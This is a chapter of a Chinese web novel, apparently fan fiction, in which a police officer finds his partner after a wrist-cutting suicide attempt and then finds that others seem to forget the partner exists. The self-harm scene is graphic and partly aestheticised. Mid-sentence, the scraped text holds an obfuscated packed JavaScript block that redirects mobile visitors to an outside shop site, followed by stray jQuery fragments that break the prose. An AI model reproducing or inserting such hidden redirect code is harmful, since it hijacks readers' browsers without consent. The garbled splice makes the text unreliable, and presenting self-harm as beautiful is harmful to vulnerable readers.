文趣网 > 都市小说 > 柯学恋爱手册 > 6. 镜中幻影
    第一次异常出现在他们相恋第三个月,一百天。

    难以置信,松田阵平本人都不敢相信他会和长谷川谈这么长时间——尽管他从一开始就没想过分手。

    但他还是会为了这些确切的在一起的的天数而欣喜,他提前一天便向局里面打好了招呼,赶在当天中午提前回家收拾——

    他特地预约了一家氛围很好的药膳店,提前回家是要叫长谷川起床做收拾。

    对方这两天睡得不是很好,问起来就是已经好了的陈年旧伤,往往都要翻来覆去到凌晨才能勉强蜷在松田阵平身边眯着,以至于这些天松田阵平便不再在早上出门时叫对方起床晒太阳,只是任由对方睡到他中午回来。

    长谷川最近精神不好,他便也不再想着折腾对方,由于要推出休假的时间,自然便也忙得错失了查看对方手臂更上方又添了几条绷带的场景。

    他不知道自己正在失去对方。

    松田阵平上楼时的脚步很轻快——他方才绕道去取了几条定做的真丝绸缎的长发带,特地要人纺了好些银灰蓝纹样,想着那人编入辫子里的模样,向来板着的脸上便也扬起了笑来。

    与他熟识的店家打趣,“这是遇见什么好事——这样开心?”

    松田阵平嘴上开脱说没有什么,实际眼角眉梢的笑怎么都藏不住。

    他想着中午先简单自己开火来做点什么简单的来给他们两人填饱肚子,便拎着包装高级的纸袋子单手开了门——

    他的语气上扬,在欢呼雀跃着。

    他像是方才打了一场胜仗归家的少年将君。

    “我回来啦?”

    没有拖拖拉拉的应和声,不奇怪,对方应当还在睡。

    于是松田阵平将手里东西分门别类地轻轻放好,换上了他后来又扯着长谷川出门特地买的一黑一白里白色的高级情侣拖鞋,悄悄走到卧室门扉边向里瞄——

    他出门时卧室门向来都留个缝,好让自己留意对方状态。

    没办法,毕竟不是每个人的恋人都有过心脏骤停的经历的。

    出乎意料,人没在卧室。

    那张长谷川入住一个月之后松田阵平新换的松软大床上只是空荡荡地胡乱放着几个灰色的羽绒靠枕以及一条看起来薄,盖起来却足够暖和舒适的羽绒被。

    属于他们两个人的枕头上是空的。

    松田阵平的心瞬间慌了一瞬,他竭力压住自己快破音的音调,一时间只能听见自己心脏的疯跳。

    他调整了一下呼吸,扭头去看鞋柜,确认对方确实没出门后这才颤抖着,快速地,稳定地开始在这小小的只有68平方的公寓里搜寻一个身高一米八一的成年人。

    我错了——

    松田阵平屏住呼吸,就好像他怕一吸气就会吓跑什么一样。

    他那双用来拆弹的手仍然稳定。

    他好像想起什么,却又好像什么都没想起。

    最后他找遍了卧室,书房,客厅,厨房,只留下了紧闭着的,浅淡的木头门被浸得半湿了的浴室。

    ——是了,长谷川在沐浴后总不会去踩他放在浴室门口的那条毛巾。

    于是松田阵平推开了浴室门——

    他们家是有浴缸的。

    但长谷川不经常用,他总是嫌麻烦。

    ……这次他倒是用了浴缸——他把自己的右手腕割开,任由自己浸泡在已经温冷了的,掺合着自己大半血水的浴缸里。

    松田阵平近乎是晃荡着的上前——哆嗦着将那只冰凉的,半垂在浴缸外的手抚在自己的面颊上。

    已经积起一定厚度的淡红色液体动起来,欢呼着,席卷环抱住吻住了松田阵平身上的制服。

    但男人只是瞳孔皱缩,死死地抓紧那只贴住自己面颊的,死一样冷白的,早已经不再流血的手。

    ……对方身上不止那一处伤口。

    银色的长发在水里浮起,好像缚住对方的一张无穷尽的网。

    被稀释了的黯淡的红正一点点地溢出浴缸,并演绎着波涛,推挤着浴室门。

    对方大半张脸都浸泡在自己的血水里,微笑着,看上去诡谲怪诞又神圣。

    ——他好像要破茧重生。

    笑着,沉溺在自己的茧蛹中,与这沉闷的世界告别又复返。

    松田阵平跟灵魂出窍了一样,他先是将长谷川从猩红的血水中抱了出来,又找了一件巨大的,白色浴巾将对方裸露的,新鲜的,伤痕累累的身躯遮住。

    安静,沉默。

    但一切都是快速而条理清晰的,仿佛预演过成千上万次。

    接着松田阵平蹲下身,死死按住对方看上去尚且完好的手腕,去寻找那微不可闻的脉搏的跳动。

    他找到了。

    万幸。

    于是松田阵平终于松开了那自方才开始就备在一旁随时准备着做心肺复苏的手,护住了自己的头脸。

    他长长地,缓慢地呼出了一口气,坐在了浴室狼藉的瓷砖上,单手捧着恋人的脸,拨通了急救中心的电话号码。

    ……

    ……

    我是谁?

    又是一次深入睡眠。

    看着眼前人好似初见的陌生眼神,松田阵平原本堆积到了咽喉发痛的话却怎么都说不出口。

    “你先……”

    他结结巴巴,可怜至极地去模仿自己曾见过的那些受害者的家属们的语气,实则内心乱成了一团。

    最终他只是捂住了那双眼,疲惫地仿照着重逢时萩原研二的架势,将病床边上所有看上去尖锐的东西都收拾了起来。

    他顶着那陌生目光稳健地走到了病房外——捏着他曾忽视了的,长谷川那些厚重的病历本。

    他还在给萩原研二打电话,从昨天开始手术的下午到长谷川苏醒的现在。

    第一次对方接通了。

    第二次也是。

    第三次第四次第五次第六次第六次第七次第八次……也是。

    直到第数不清多少次。

    萩原千速夺过了萩原研二的电话。

    对方的语气有些不耐与小心翼翼——对方的性子本就大大咧咧,这不是她的错。

    是我的错。

    松田阵平站在抢救室门口看着那亮着着的红色的灯,错身给那些来回往复的医生们让路,想,是他的错。

    电话里萩原千速的声音还在继续,她直接问:“发生什么了小阵平?”

    松田阵平张口,却怎么都发不出声音。

    ——他失声了。

    “……”

    沉默在蔓延。

    萩原姐弟俩一直在等待。

    他们家里人一直将他们教得很好——所以他们是很好的人。

    很稳定的,温柔的,远比自己更适合照顾别人的人。

    是自己错了。

    是自己过于任性自大,抢走了那尊他保存不了的瓷器。

    他的错。

    对不起。

    直到医院的护工又一次推着车,自松田阵平身后而过,男人这才语无伦次,力竭般地倚靠在了墙面上——

    他整个人在往下滑。

    他无法控制自己。

    他看见病床上的那个人在看着自己,顺从地让对方抬出了自己的手,好让护士检查那些被泡久了的,已经发白溃烂了的伤口。

    松田阵平看到了那些断裂的血管与桡神经。

    ……对方是真的下死手。

    于是心便像是揪起来又揉碎了一样痛。

    于是他听见电话那头,幼驯染担忧的疑问?

    “阵平?你真的还好吗?”

    “……我不太好。”

    最后松田阵平选择了坦白。

    他说:“我和长谷川在一起了,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606365|205737||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    今天是第一百天,但他在家里自/杀了。”

    他甚至有些解脱地想,哪怕萩原研二现在就要和他绝交也行,跑过来把自己痛揍一顿也行——

    毕竟自己是小偷,是后来者,是那个搞坏了一切的王八蛋。

    所以求求了,别让他听到那个回答。

    ……但他还是听到了。

    萩原研二还是温柔的,那人自幼以来柔和的语调一点没变还是缓慢而平稳——

    对方问,很疑惑地问,“你谈恋爱了啊?都没告诉我一声?不过对方怎么回事?你得跟我们好好——”

    话语未尽,松田阵平就挂了电话。

    没有了。

    他扭头对上那双浅灰色调的眼睛,对方正处于无视一切的宕机中。

    于是松田阵平突然拦住了一位医生——他是认识那位医生的,三个月前,就是她推荐自己将长谷川留在医院也是她方才在急症室门口让自己给长谷川签名。

    他颤抖着,尽量让自己看起来轻松些。

    他问,“方才你让我签字的长谷川送去哪一个病房了?”

    松田阵平瞄见她手上的报告单,第二页就是长谷川的。

    所以不可能忘记的。

    但对方却是一愣。

    那女医生很疑惑地看着眼前这个精神接近崩溃的男人,注视着对方充溢着红血丝的双眸,不动声色地后撤几步,“嗯,我们今天应该没有接诊姓长谷川的患者——”

    “……”

    不是的。

    “松田阵平先生?”

    那医生犹疑着上前,皱起眉,“你看起来脸色很不好,要不要去休息一下……”

    不是的。

    不是的。

    你们听我说。

    他存在的。

    你们为什么都忘了他?!

    那人温热的吐息还在耳侧盘旋带着难以言喻的沉闷。

    对方在叹息。

    长谷川说,不要忘了我。

    不要忘了他。

    不可以的。

    所以求求了。

    拜托了。

    给我一个锚点。

    给我一个肯定。

    告诉我。

    我能接住他的。

    那个不能忘记他的锚点。

    拜托——

    但医生的话还没说完,眼前男人就反手捉住了自旁边病房走出的护士!

    猝不及防被人接触了的护士先是一惊,随后看清了松田阵平的脸。

    她安抚下来被这举动惊动了的医院安保——她是认识搜查一科这群总出入急救的倒霉蛋的。

    “呼吸,呼吸,呼吸——你这是干什么去了?这么狼狈。”

    眼见人情绪是稳下来了,手也不抖了,呼吸也不再抽着喘了,护士这才双手插兜,弯腰低头看她带到长椅上的家伙。

    出乎意料,对方没有立刻回答,要知道松田阵平一直是那群警察里交流最简洁明了的。

    护士直觉到了不对,她仿佛想起什么,却最终只将头扭到了一半,在松田阵平的瞩目下又扭了回来。

    “长谷川是谁?”

    护士问。

    “……你也忘了吗?”

    “什么?我不可能忘记我的病患——我是这个诊室最好的护士长。”

    护士斩钉截铁,她直接说:“你是不是最近加班加傻了?其实我们医院的精神科也不错。”

    “……就诊记录,自己看。”

    窸窸窣窣的翻阅声。

    最后卡在了一个“艹”字上面。

    松田阵平没有抬头。

    他知道了,对方看到了那个名字。

    也就是说,对方并不只是一个臆想。

    他至少得到了一个安慰。

    他的恋人并不只是自己的幻想。

    他为此欣喜若狂。